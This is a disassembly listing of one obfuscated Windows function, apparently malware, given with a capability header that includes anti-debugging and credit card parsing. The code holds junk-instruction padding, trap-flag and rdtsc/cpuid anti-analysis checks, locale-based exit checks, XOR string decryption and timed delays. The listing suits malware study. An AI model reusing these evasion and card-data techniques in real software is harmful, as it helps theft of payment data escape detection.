Function at 0x14000cb10
Capabilities:
Accept command line arguments
Check for trap flag exception
Check http status code
Encode data using base64
Encrypt data using speck
Execute anti-debugging instructions
Get common file path
Parse credit card information

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x3c548
call fcn.14001fb23
sub rsp, rax
movdqa xmmword [rsp + 0x3c530], xmm8
movdqa xmmword [rsp + 0x3c520], xmm7
movdqa xmmword [rsp + 0x3c510], xmm6
or rax, rax
nop
xor rax, 0
sub rax, 0
sub rax, 0
nop
mov rax, rax
xor rax, 0
sub rax, 0
add rax, 0
xor rax, 0
or rax, rax
nop
or rax, 0
or rax, 0
sub rax, 0
add rax, 0
or rax, rax
nop
nop
add rax, 0
nop
sub rax, 0
or rax, 0
or rax, rax
add rax, 0
add rax, 0
xor rax, 0
or rax, rax
sub rax, 0
nop
add rax, 0
or rax, 0
xor rax, 0
xor rax, 0
or rax, rax
sub rax, 0
nop
or rax, 0
nop
sub rax, 0
or rax, 0
mov rax, rax
nop
mov rax, rax
mov rax, rax
nop
add rax, 0
xor rax, 0
nop
mov rax, rax
or rax, 0
nop
sub rax, 0
add rax, 0
xor rax, 0
or rax, rax
sub rax, 0
or rax, 0
call fcn.14000a2d6
sub rcx, 0
or rcx, 0
mov rcx, rcx
sub rcx, 0
mov rcx, rcx
or rcx, rcx
nop
add rcx, 0
sub rcx, 0
xchg rcx, rcx
add rcx, 0
or rcx, 0
add rcx, 0
or rcx, rcx
mov rcx, rcx
cmp byte [rax + 2], 0
je 0x14000ccad
nop
mov rax, rax
nop
xor rax, 0
or rax, 0
or rax, 0
xor rax, 0
mov rax, rax
sub rax, 0
or rax, rax
xor rax, 0
sub rax, 0
nop
mov rax, rax
or rax, rax
nop
add rax, 0
add rax, 0
or rax, rax
xor rax, 0
nop
or rax, 0
nop
movaps xmm6, xmmword [rsp + 0x3c510]
movaps xmm7, xmmword [rsp + 0x3c520]
movaps xmm8, xmmword [rsp + 0x3c530]
add rsp, 0x3c548
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
or rax, rax
xor rax, 0
nop
xor rax, 0
add rax, 0
sub rax, 0
mov rax, rax
sub rax, 0
call fcn.14000af0b
mov rsi, rax
lea rax, [0x14003f2a2]
lea rdi, [rsp + 0xdb0]
mov qword [rdi], rax
mov rcx, qword [rdi]
movabs rax, 0xc9e415fc5c36f21b
mov qword [rdi], rax
mov rdx, qword [rdi]
call fcn.140006e9e
pxor xmm0, xmm0
movdqu xmmword [rdi + 0xc], xmm0
movdqa xmmword [rdi], xmm0
xor edx, edx
lea rcx, [0x140049c35]
cmp rdx, 0x18
jae 0x14000cd2c
mov r8, qword [rdx + rcx]
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0xdb0], r8
add rdx, 8
jmp 0x14000cd10
mov edx, 0x18
cmp rdx, 0x1b
ja 0x14000cd62
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x7c000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0xdb0], r8d
add rdx, 4
jmp 0x14000cd31
movzx eax, word [rax + 0x1c]
xor eax, 0xf5db
lea rdi, [rsp + 0xdb0]
mov word [rdi + 0x1c], ax
movdqa xmm0, xmmword [rdi]
lea r8, [rsp + 0x1e960]
movdqa xmmword [r8], xmm0
mov rax, qword [rdi + 0xe]
mov qword [r8 + 0xe], rax
mov eax, dword [rdi + 0x16]
mov dword [r8 + 0x16], eax
movzx eax, word [rdi + 0x1a]
mov word [r8 + 0x1a], ax
movzx eax, word [rdi + 0x1c]
mov word [r8 + 0x1c], ax
mov rdx, qword [rsi]
mov r9d, 0x1e
mov rcx, rdi
call fcn.14000aa25
cmp byte [rdi], 0
jne 0x14001773a
mov rax, qword [rsp + 0xdb8]
xor rcx, 0
nop
xor rcx, 0
nop
xchg rcx, rcx
or rcx, rcx
or rcx, rcx
sub rcx, 0
or rcx, 0
mov rcx, rcx
lea rdx, [0x14000a1f7]
mov ecx, 1
call rax
mov rsi, rax
mov rax, rax
add rax, 0
add rax, 0
nop
or rax, 0
add rax, 0
or rax, rax
nop
nop
mov rax, rax
pushfq
pop rax
mov rcx, rcx
or rcx, 0
or rcx, rcx
mov rcx, rcx
xor rcx, 0
xchg rcx, rcx
or rax, 0x100
xor rcx, 0
or rcx, 0
add rcx, 0
or rcx, 0
or rcx, 0
push rax
popfq
nop
or rax, 0
sub rax, 0
or rax, rax
or rax, 0
nop
nop
sub rax, 0
nop
mov rax, rax
or rax, 0
nop
nop
or rax, 0
call fcn.14000af0b
mov rbx, rax
lea rax, [0x140048c91]
mov qword [rsp + 0xdb0], rax
mov rcx, qword [rsp + 0xdb0]
movabs rax, 0x940c3c71270e1570
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rsp + 0xdb0]
call fcn.140006a6b
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xdc0], xmm0
movdqa xmmword [rsp + 0xdb0], xmm0
xor ecx, ecx
lea rdx, [0x140049c53]
cmp rcx, 0x1f
ja 0x14000cee5
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0xdb0], r8
add rcx, 8
jmp 0x14000cec9
mov al, byte [rax + 0x20]
xor al, 0x8f
lea rdi, [rsp + 0xdb0]
movdqa xmm0, xmmword [rdi]
movaps xmm1, xmmword [rdi + 0x10]
lea r8, [rsp + 0x1e960]
movdqa xmmword [r8], xmm0
movaps xmmword [r8 + 0x10], xmm1
mov byte [r8 + 0x20], al
mov rdx, qword [rbx]
mov r9d, 0x21
mov rcx, rdi
call fcn.14000aa25
cmp byte [rdi], 0
jne 0x14001773a
mov rax, qword [rsp + 0xdb8]
sub rcx, 0
add rcx, 0
mov rcx, rcx
xor rcx, 0
or rcx, rcx
or rcx, rcx
nop
nop
mov rcx, rsi
call rax
sub rax, 0
or rax, rax
sub rax, 0
mov rax, rax
or rax, rax
or rax, 0
add rax, 0
mov al, byte [0x140094040]
test al, al
je 0x14000cc3c
mov rax, rax
or rax, rax
add rax, 0
sub rax, 0
nop
sub rax, 0
add rax, 0
nop
or rax, rax
nop
nop
or rax, 0
sub rax, 0
xor rax, 0
mov rax, rax
add rax, 0
nop
xor rax, 0
nop
xor rax, 0
or rax, 0
xor rax, 0
or rax, 0
xor rax, 0
nop
sub rax, 0
or rax, 0
or rax, rax
mov rax, rax
sub rax, 0
or rax, 0
nop
sub rax, 0
nop
add rax, 0
mov rax, rax
or rax, rax
or rax, rax
nop
xor rax, 0
mov rax, rax
nop
or rax, 0
sub rax, 0
sub rax, 0
mov rax, rax
add rax, 0
add rax, 0
xor rax, 0
add rax, 0
or rax, 0
nop
nop
or rax, rax
lea rsi, [rsp + 0xdb0]
mov qword [rsi], 8
pxor xmm0, xmm0
movdqu xmmword [rsi + 8], xmm0
nop
or rax, 0
or rax, 0
xor rax, 0
add rax, 0
or rax, 0
or rax, rax
xor rax, 0
sub rax, 0
or rax, 0
sub rax, 0
add rax, 0
nop
nop
xor rax, 0
xor rax, 0
or rax, 0
mov rax, rax
or rax, rax
or rax, 0
add rax, 0
or rax, 0
nop
or rax, rax
nop
mov rax, rax
xor rax, 0
sub rax, 0
or rax, 0
xor rax, 0
or rax, 0
or rax, rax
or rax, 0
or rax, 0
or rax, 0
sub rax, 0
sub rax, 0
nop
sub rax, 0
nop
movdqa xmmword [rsp + 0x1e960], xmm0
mov r8d, 8
mov r13d, 0x6e
xor edi, edi
sub r13, 1
jb 0x14000d21f
or rax, 0
or rax, rax
or rax, 0
mov rax, rax
mov rax, rax
add rax, 0
nop
or rax, 0
add rax, 0
xor rax, 0
nop
nop
nop
nop
xor rax, 0
or rax, rax
add rax, 0
nop
add rax, 0
rdtsc
mov rbx, rax
mov r14, rdx
xor rax, 0
sub rax, 0
sub rax, 0
xor rax, 0
nop
nop
sub rax, 0
or rax, 0
mov rax, rax
nop
xor rax, 0
or rax, rax
nop
nop
xor rax, 0
or rax, 0
or rax, 0
nop
xor eax, eax
xor ecx, ecx
mov r9, rbx
cpuid
xchg rbx, r9
mov dword [rsp + 0x1e960], eax
mov dword [rsp + 0x1e964], r9d
mov dword [rsp + 0x1e968], ecx
mov dword [rsp + 0x1e96c], edx
add rax, 0
add rax, 0
nop
nop
xor rax, 0
nop
nop
nop
or rax, rax
nop
sub rax, 0
or rax, rax
add rax, 0
rdtsc
mov r15, rax
mov r12, rdx
or rax, rax
or rax, rax
or rax, rax
nop
nop
mov rax, rax
nop
add rax, 0
sub rax, 0
mov rax, rax
or rax, rax
nop
add rax, 0
or rax, rax
sub rax, 0
or rax, 0
sub rax, 0
nop
cmp rdi, qword [rsp + 0xdb8]
jne 0x14000d1f2
mov rcx, rsi
mov rdx, rdi
call fcn.140004787
mov r8, qword [rsp + 0xdb0]
mov rdi, qword [rsp + 0xdc0]
shl r14, 0x20
or rbx, r14
shl r12, 0x20
or r15, r12
sub r15, rbx
mov qword [r8 + rdi*8], r15
mov rdi, qword [rsp + 0xdc0]
inc rdi
mov qword [rsp + 0xdc0], rdi
jmp 0x14000d0ce
or rax, 0
or rax, rax
sub rax, 0
nop
add rax, 0
nop
nop
xor rax, 0
mov rax, rax
add rax, 0
xor rax, 0
xor rax, 0
mov rax, rax
nop
or rax, rax
add rax, 0
or rax, 0
or rax, 0
or rax, 0
add rax, 0
or rax, 0
nop
nop
or rax, rax
xor rax, 0
mov rax, rax
mov rax, rax
add rax, 0
or rax, 0
mov eax, dword [rsp + 0x1e960]
mov eax, dword [rsp + 0x1e964]
mov eax, dword [rsp + 0x1e968]
mov eax, dword [rsp + 0x1e96c]
nop
nop
mov rax, rax
mov rax, rax
sub rax, 0
mov rbx, qword [rsp + 0xdb0]
test rdi, rdi
je 0x14000d2b9
bsr rax, rdi
xor rax, 0x3f
jmp 0x14000d2be
mov eax, 0x40
mov ecx, 0x40
sub ecx, eax
mov dword [rsp + 0x20], ecx
lea r8, [rsp + 0xcc0]
mov rcx, rbx
mov rdx, rdi
xor r9d, r9d
call fcn.140003a17
or rax, 0
add rax, 0
sub rax, 0
add rax, 0
nop
add rax, 0
or rax, 0
mov rax, rax
mov rax, rax
xor rax, 0
add rax, 0
nop
nop
cmp rdi, 0x68
jbe 0x14001773a
sub rax, 0
sub rax, 0
or rax, 0
or rax, 0
or rax, rax
or rax, rax
mov rax, rax
sub rax, 0
nop
nop
xor rax, 0
nop
or rax, rax
xor rax, 0
or rax, rax
sub rax, 0
mov eax, 5
xor edi, edi
add rdi, qword [rbx + rax*8]
inc rax
cmp rax, 0x69
jne 0x14000d34b
or rax, 0
or rax, rax
sub rax, 0
nop
add rax, 0
xor rax, 0
add rax, 0
xor rax, 0
nop
nop
or rax, rax
or rax, rax
mov rax, rax
nop
mov rax, rax
nop
mov rdx, qword [rsp + 0xdb8]
mov rcx, rbx
call fcn.14002be03
cmp rdi, 0x18703
ja 0x14000cc3c
add rax, 0
or rax, 0
sub rax, 0
mov rax, rax
nop
sub rax, 0
mov rax, rax
add rax, 0
mov rax, rax
nop
or rax, rax
xor rax, 0
sub rax, 0
nop
nop
or rax, 0
nop
nop
nop
mov rax, rax
add rax, 0
xor rax, 0
nop
nop
add rax, 0
sub rax, 0
nop
nop
or rax, 0
xor rax, 0
or rax, rax
add rax, 0
mov eax, 0xffffffff
cpuid
xor rcx, 0
sub rcx, 0
add rcx, 0
add rcx, 0
xor rcx, 0
or rcx, rcx
or rcx, 0
xor rcx, 0
or rcx, rcx
nop
or rcx, rcx
mov rcx, rcx
mov rcx, rcx
sub rcx, 0
mov rcx, rcx
xor rcx, 0
cmp eax, 0xffffffff
je 0x14000cc3c
call fcn.140035d00
mov rdi, rax
mov r14, rax
add r14, 0x10
mov r15d, 0xa
mov rax, qword [rdi + 0x110]
cmp rax, 0x3f
jae 0x14000d475
lea rcx, [rax + 2]
mov qword [rdi + 0x110], rcx
mov rax, qword [rdi + rax*4 + 0x10]
jmp 0x14000d4a6
jne 0x14000d496
mov ebx, dword [rdi + 0x10c]
mov edx, 1
mov rcx, r14
call fcn.140009d9a
mov eax, dword [rdi + 0x10]
shl rax, 0x20
or rax, rbx
jmp 0x14000d4a6
mov edx, 2
mov rcx, r14
call fcn.140009d9a
mov rax, qword [r14]
mul r15
shr rax, 0x3d
cmp eax, 4
ja 0x14000d456
mov rbx, rdx
add rbx, 5
or rax, rax
nop
add rax, 0
or rax, 0
nop
mov rax, rax
or rax, 0
call fcn.14003f7a1
mov r14, rax
mov ebp, edx
sub rax, 0
or rax, rax
sub rax, 0
add rax, 0
or rax, 0
xor rax, 0
sub rax, 0
nop
mov rax, rax
or rax, rax
sub rax, 0
xor rax, 0
or rax, 0
sub rax, 0
or rax, rax
xor rax, 0
xor rax, 0
sub rax, 0
nop
mov rax, rax
nop
nop
or rax, rax
or rax, 0
mov rax, rax
or rax, 0
nop
sub rax, 0
or rax, rax
or rax, rax
nop
mov rax, rax
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call sub.kernel32.dll_CreateWaitableTimerExW
test rax, rax
je 0x14000d5af
mov r15, rax
imul rax, rbx, 0xffffffffff676980
lea rdx, [rsp + 0xdb0]
mov qword [rdx], rax
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov rcx, r15
xor r8d, r8d
xor r9d, r9d
call sub.kernel32.dll_SetWaitableTimer
test eax, eax
je 0x14000d5a7
mov rcx, r15
mov edx, 0xffffffff
call sub.kernel32.dll_WaitForSingleObject
mov r12d, eax
mov rcx, r15
call fcn.14004571c
cmp r12d, 0xffffffff
jne 0x14000d5ba
jmp 0x14000d5af
mov rcx, r15
call fcn.14004571c
imul ecx, ebx, 0x3e8
call sub.kernel32.dll_Sleep
nop
or rax, 0
mov rax, rax
sub rax, 0
sub rax, 0
call fcn.14003f7a1
mov rcx, rax
mov r8, r14
mov r9d, ebp
call fcn.14004201c
mov r14, rax
mov rcx, rdi
call fcn.140035193
cmp r14, rbx
jb 0x14000cc3c
sub rax, 0
add rax, 0
sub rax, 0
nop
mov rax, rax
or rax, rax
nop
add rax, 0
nop
mov rax, rax
xor rax, 0
nop
add rax, 0
mov rax, rax
call fcn.14000ad3d
mov rdi, rax
lea rax, [0x140048a5d]
mov qword [rsp + 0xdb0], rax
mov rcx, qword [rsp + 0xdb0]
movabs rax, 0x1be2066633fe3cdb
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rsp + 0xdb0]
call fcn.140006a0d
and qword [rsp + 0xdc0], 0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xdb0], xmm0
xor ecx, ecx
lea rdx, [0x140049cb3]
cmp rcx, 0x17
ja 0x14000d692
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0xdb0], r8
add rcx, 8
jmp 0x14000d676
lea rsi, [rsp + 0xdb0]
mov rax, qword [rsi + 0x10]
lea r8, [rsp + 0x1e960]
mov qword [r8 + 0x10], rax
movdqa xmm0, xmmword [rsi]
movdqa xmmword [r8], xmm0
mov rdx, qword [rdi]
mov r9d, 0x18
mov rcx, rsi
call fcn.14000aa25
cmp byte [rsi], 0
jne 0x14001773a
mov rax, qword [rsp + 0xdb8]
sub rcx, 0
or rcx, rcx
xchg rcx, rcx
or rcx, 0
sub rcx, 0
sub rcx, 0
nop
add rcx, 0
add rcx, 0
nop
xchg rcx, rcx
xchg rcx, rcx
mov rcx, rcx
mov rcx, rcx
xor rcx, 0
sub rcx, 0
add rcx, 0
or rcx, rcx
add rcx, 0
call rax
add rcx, 0
or rcx, rcx
nop
xor rcx, 0
sub rcx, 0
or rcx, rcx
add rcx, 0
nop
nop
xchg rcx, rcx
xor rcx, 0
xchg rcx, rcx
xchg rcx, rcx
sub rcx, 0
xor rcx, 0
movzx eax, ax
lea ecx, [rax - 0x23]
cmp ecx, 0x3b
jbe 0x14000d857
lea ecx, [rax - 0x419]
cmp ecx, 0x27
jbe 0x14000d83e
cmp eax, 0x19
je 0x14000cc3c
cmp eax, 0x819
je 0x14000cc3c
cmp eax, 0x742c
je 0x14000cc3c
cmp eax, 0x782c
je 0x14000cc3c
cmp eax, 0x7843
je 0x14000cc3c
cmp eax, 0x7c43
je 0x14000cc3c
mov rax, rax
mov rax, rax
mov rax, rax
xor rax, 0
nop
or rax, rax
xor rax, 0
nop
xor rax, 0
add rax, 0
xor rax, 0
add rax, 0
or rax, rax
nop
nop
lea rax, [0x1400668de]
mov qword [rsp + 0xdb0], rax
mov rcx, qword [rsp + 0xdb0]
movabs rax, 0x8b17cae562fc020a
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rsp + 0xdb0]
call fcn.140006cad
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xdc0], xmm0
movdqa xmmword [rsp + 0xdb0], xmm0
xor ecx, ecx
lea rdx, [0x14004a3d9]
cmp rcx, 0x1f
ja 0x14000d870
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0xdb0], r8
add rcx, 8
jmp 0x14000d822
movabs rdx, 0xc000008401
bt rdx, rcx
jb 0x14000cc3c
jmp 0x14000d762
movabs rdx, 0x800000030000201
bt rdx, rcx
jb 0x14000cc3c
jmp 0x14000d753
lea rbx, [rsp + 0xdb0]
movdqa xmm6, xmmword [rbx]
movdqa xmm7, xmmword [rbx + 0x10]
mov esi, 0x20
mov ecx, 0x20
call fcn.14001b537
mov rdi, rax
movdqu xmmword [rax + 0x10], xmm7
movdqu xmmword [rax], xmm6
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x230], rdx
mov qword [rsp + 0x238], rsi
add rax, 0
xor rax, 0
or rax, rax
sub rax, 0
xor rax, 0
or rax, rax
mov rax, rax
xor rax, 0
sub rax, 0
or rax, rax
xor rax, 0
or rax, 0
add rax, 0
sub rax, 0
or rax, rax
sub rax, 0
mov rax, rax
mov rax, rax
or rax, rax
mov rax, rax
or rax, 0
nop
nop
or rax, rax
nop
sub rax, 0
xor rax, 0
sub rax, 0
sub rax, 0
or rax, rax
or rax, rax
nop
or rax, rax
mov rax, rax
xor rax, 0
or rax, 0
or rax, 0
add rax, 0
or rax, rax
or rax, 0
mov rax, rax
or rax, rax
mov rax, rax
sub rax, 0
or rax, rax
nop
mov rax, rax
xor rax, 0
mov rax, rax
mov ecx, 0x20
call fcn.14001b537
movdqu xmm0, xmmword [rdi]
mov qword [rsp + 0x418], rdi
movups xmm1, xmmword [rdi + 0x10]
movdqu xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov qword [rbx], rax
mov qword [rbx + 8], rdx
mov qword [rbx + 0x10], rsi
mov rcx, rbx
call fcn.140009f78
mov rsi, rax
sub rax, 0
xor rax, 0
add rax, 0
nop
or rax, 0
mov rax, rax
or rax, rax
sub rax, 0
mov rax, rax
xor rax, 0
or rax, 0
xor rax, 0
call fcn.14000ad3d
mov rdi, rax
lea rax, [0x1400437f3]
mov qword [rbx], rax
mov rcx, qword [rbx]
movabs rax, 0x785fc1dc8059822e
mov qword [rbx], rax
mov rdx, qword [rbx]
call fcn.140006c52
and dword [rbx + 8], 0
and qword [rbx], 0
mov r8b, 1
xor edx, edx
lea rcx, [0x140049c1d]
test r8b, 1
je 0x14000daa0
movzx r9d, byte [rdx + rcx]
mov r8, rdx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rdx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rdx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rbx, rdx
or rbx, 4
movzx ebx, byte [rbx + rcx]
mov r14, rdx
or r14, 5
movzx r14d, byte [r14 + rcx]
mov r15, rdx
or r15, 6
mov r12, rdx
or r12, 7
movzx r15d, byte [r15 + rcx]
movzx r12d, byte [r12 + rcx]
shl r12, 0x38
shl r15, 0x30
or r15, r12
shl r14, 0x28
shl rbx, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rbx
or r8, r14
or r8, r15
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0xdb0], r8
mov edx, 8
xor r8d, r8d
jmp 0x14000d9f4
mov edx, 8
cmp rdx, 0xb
ja 0x14000dad6
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0x6b000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0xdb0], r8d
add rdx, 4
jmp 0x14000daa5
lea rbx, [rsp + 0xdb0]
mov eax, dword [rbx + 8]
lea r8, [rsp + 0x1e960]
mov dword [r8 + 8], eax
mov rax, qword [rbx]
mov qword [r8], rax
mov rdx, qword [rdi]
mov r9d, 0xc
mov rcx, rbx
call fcn.14000aa25
cmp byte [rbx], 0
jne 0x14001773a
mov rax, qword [rsp + 0xdb8]
xor rcx, 0
or rcx, 0
add rcx, 0
xor rcx, 0
sub rcx, 0
xchg rcx, rcx
or rcx, rcx
or rcx, 0
mov rcx, rcx
sub rcx, 0
xor rcx, 0
or rcx, 0
or rcx, 0
mov rcx, rcx
add rcx, 0
xor ecx, ecx
mov edx, 1
mov r8, rsi
call rax
test rax, rax
je 0x14000dda5
nop
add rax, 0
add rax, 0
or rax, rax
or rax, rax
xor rax, 0
xor rax, 0
sub rax, 0
mov rax, rax
or rax, 0
xor rax, 0
nop
nop
add rax, 0
sub rax, 0
or rax, rax
sub rax, 0
nop
sub rax, 0
add rax, 0
or rax, rax
xor rax, 0
nop
sub rax, 0
or rax, rax
or rax, rax
nop
xor rax, 0
xor rax, 0
call fcn.14000ad3d
mov rsi, rax
lea rax, [0x14003df7d]
mov qword [rsp + 0xdb0], rax
mov rcx, qword [rsp + 0xdb0]
movabs rax, 0x1f458b3dad628fa0
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rsp + 0xdb0]
call fcn.140006cd3
and dword [rsp + 0xdb8], 0
and qword [rsp + 0xdb0], 0
mov r8b, 1
xor edx, edx
lea rcx, [0x140049c05]
test r8b, 1
je 0x14000dcc3
movzx r9d, byte [rdx + rcx]
mov r8, rdx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rdx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rdx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rdi, rdx
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, rdx
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r14, rdx
or r14, 6
mov r15, rdx
or r15, 7
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rdi
or r8, rbx
or r8, r14
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0xdb0], r8
mov edx, 8
xor r8d, r8d
jmp 0x14000dc18
mov edx, 8
cmp rdx, 0xb
ja 0x14000dcf9
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0xfa000000
xor r8d, dword [rax + rdx]
mov dword [rsp + rdx + 0xdb0], r8d
add rdx, 4
jmp 0x14000dcc8
lea rdi, [rsp + 0xdb0]
mov eax, dword [rdi + 8]
lea r8, [rsp + 0x1e960]
mov dword [r8 + 8], eax
mov rax, qword [rdi]
mov qword [r8], rax
mov rdx, qword [rsi]
mov r9d, 0xc
mov rcx, rdi
call fcn.14000aa25
cmp byte [rdi], 0
jne 0x14001773a
mov rax, qword [rsp + 0xdb8]
mov rcx, rcx
mov rcx, rcx
mov rcx, rcx
or rcx, rcx
nop
sub rcx, 0
xor rcx, 0
nop
add rcx, 0
or rcx, rcx
add rcx, 0
add rcx, 0
sub rcx, 0
xchg rcx, rcx
xor rcx, 0
mov rcx, rcx
xor rcx, 0
call rax
cmp eax, 0xb7
jne 0x14000de27
or rax, 0
or rax, rax
nop
nop
nop
add rax, 0
add rax, 0
nop
or rax, 0
nop
nop
nop
add rax, 0
add rax, 0
xor rax, 0
nop
jmp 0x14000ddda
add rax, 0
xor rax, 0
mov rax, rax
or rax, rax
nop
sub rax, 0
xor rax, 0
xor rax, 0
mov rax, rax
or rax, rax
or rax, rax
nop
nop
or rax, rax
add rax, 0
or rax, 0
add rax, 0
xor rax, 0
xor rax, 0
or rax, rax
sub rax, 0
or rax, 0
xor rax, 0
or rax, rax
nop
xor rax, 0
xor rax, 0
sub rax, 0
sub rax, 0
or rax, rax
or rax, rax
add rax, 0
xor rax, 0
add rax, 0
or rax, rax
add rax, 0
or rax, 0
jmp 0x140016a45
sub rax, 0
nop
nop
xor rax, 0
nop
or rax, rax
mov rax, rax
sub rax, 0
xor rax, 0
add rax, 0
nop
mov rax, rax
add rax, 0
mov rax, rax
sub rax, 0
or rax, 0
xor rax, 0
mov rax, rax
nop
nop
nop
or rax, rax
nop
xor rax, 0
nop
or rax, 0
lea rax, [0x1400600f5]
mov qword [rsp + 0xdb0], rax
lea rdx, [rsp + 0xdb0]
mov rcx, qword [rsp + 0xdb0]
movabs rax, 0x858568e6061bfb34
mov qword [rsp + 0xdb0], rax
mov rdx, qword [rsp + 0xdb0]
call fcn.140006dde
pxor xmm0, xmm0
movdqa xmmword [rsp + 0xdc0], xmm0
movdqa xmmword [rsp + 0xdb0], xmm0
xor ecx, ecx
lea rdx, [0x14004a3f9]
cmp rcx, 0x1f
ja 0x14000dee7
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0xdb0], r8
add rcx, 8
jmp 0x14000decb
movdqa xmm6, xmmword [rsp + 0xdb0]
movdqa xmm7, xmmword [rsp + 0xdc0]
mov ecx, 0x20
call fcn.14001b537
mov qword [rsp + 0x410], rdx
movdqu xmmword [rax + 0x10], xmm7
mov qword [rsp + 0x2e0], rax
movdqu xmmword [rax], xmm6
or rax, rax
sub rax, 0
mov rax, rax
or rax, 0
sub rax, 0
add rax, 0
nop
xor rax, 0
sub rax, 0
nop
mov rax, rax
or rax, rax
or rax, 0
xor rax, 0
mov rax, rax
nop
or rax, 0
sub rax, 0
xor rax, 0
sub rax, 0
mov rax, rax
sub rax, 0
sub rax, 0
xor rax, 0
call sub.kernel32.dll_GetCommandLineW
mov qword [rsp + 0x250], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x258], xmm0
test rax, rax
je 0x14000dff2
mov rsi, rax
movzx edx, word [rax]
test dx, dx
je 0x14000dff2
lea rdi, [rsp + 0x590]
mov qword [rdi], 2
movdqu xmmword [rdi + 8], xmm0
add rsi, 2
xor ebx, ebx
test dx, dx
je 0x14000e0f4
cmp dx, 9
je 0x14000dfd8
movzx eax, dx
cmp eax, 0x20
je 0x14000dfd8
cmp eax, 0x22
jne 0x14000dfe1
not bl
and bl, 1
jmp 0x14000dfe9
test bl, 1
je 0x14000e0fe
mov rcx, rdi
call fcn.14003f0e1
movzx edx, word [rsi]
add rsi, 2
jmp 0x14000dfb5
lea rax, [rsp + 0x590]
mov qword [rax], 2
movdqu xmmword [rax + 8], xmm0
mov r8d, 0x200
mov esi, 2
xor ebx, ebx
mov r13d, 0xffffffff
xor edi, edi
cmp r8, 0x201
jae 0x14000e037
lea r15, [rsp + 0xdb0]
mov r14d, 0x200
mov r12, r8
jmp 0x14000e077
sub r8, rdi
lea rcx, [rsp + 0x590]
mov rdx, r8
call fcn.14003ca68
mov rsi, qword [rsp + 0x590]
mov rbx, qword [rsp + 0x598]
cmp rbx, r13
mov edi, 0xffffffff
cmovb rdi, rbx
mov qword [rsp + 0x5a0], rdi
mov r15, rsi
mov r14, rdi
mov r12, rdi
xor ecx, ecx
call sub.kernel32.dll_SetLastError
xor ecx, ecx
mov rdx, r15
mov r8d, r12d
call sub.kernel32.dll_GetModuleFileNameW
mov ebp, eax
test eax, eax
jne 0x14000e09e
call sub.kernel32.dll_GetLastError
test eax, eax
jne 0x14000e2ed
mov r8d, ebp
cmp r12, r8
jne 0x14000e0c6
call sub.kernel32.dll_GetLastError
cmp eax, 0x7a
jne 0x14001773a
add r12, r12
cmp r12, r13
cmovae r12, r13
mov r8, r12
jmp 0x14000e01b
jb 0x14000e01b
cmp r14, r8
jb 0x14001773a
lea rdi, [rsp + 0x1e960]
mov rcx, rdi
mov rdx, r15
call fcn.14003c40f
mov bpl, byte [rdi + 0x18]
mov rdi, qword [rdi]
jmp 0x14000e308
add rsi, 0xfffffffffffffffe
jmp 0x14000e0fe
add rsi, 2
movzx eax, word [rsi]
cmp eax, 0x20
je 0x14000e0fa
cmp eax, 9
je 0x14000e0fa
mov rdi, qword [rsp + 0x590]
mov r8, qword [rsp + 0x5a0]
lea rbx, [rsp + 0xdb0]
mov rcx, rbx
mov rdx, rdi
call fcn.14003c40f
lea r14, [rsp + 0x250]
mov rcx, r14
mov rdx, rbx
call fcn.14003f988
lea r15, [rsp + 0x1e960]
mov qword [r15], 2
pxor xmm0, xmm0
movdqu xmmword [r15 + 8], xmm0
xor eax, eax
mov ebp, eax
movzx edx, word [rsi]
test edx, edx
je 0x14000e273
mov r12, rsi
add rsi, 2
cmp edx, 9
je 0x14000e19b
cmp edx, 0x20
je 0x14000e19b
cmp edx, 0x22
je 0x14000e1ac
cmp edx, 0x5c
jne 0x14000e1a0
mov r12d, 1
movzx eax, word [rsi]
cmp eax, 0x5c
jne 0x14000e1ca
add rsi, 2
inc r12
jmp 0x14000e18a
test bpl, bpl
je 0x14000e1ff
mov rcx, r15
call fcn.14003f0e1
mov eax, ebp
jmp 0x14000e15c
mov al, 1
test bpl, bpl
je 0x14000e15c
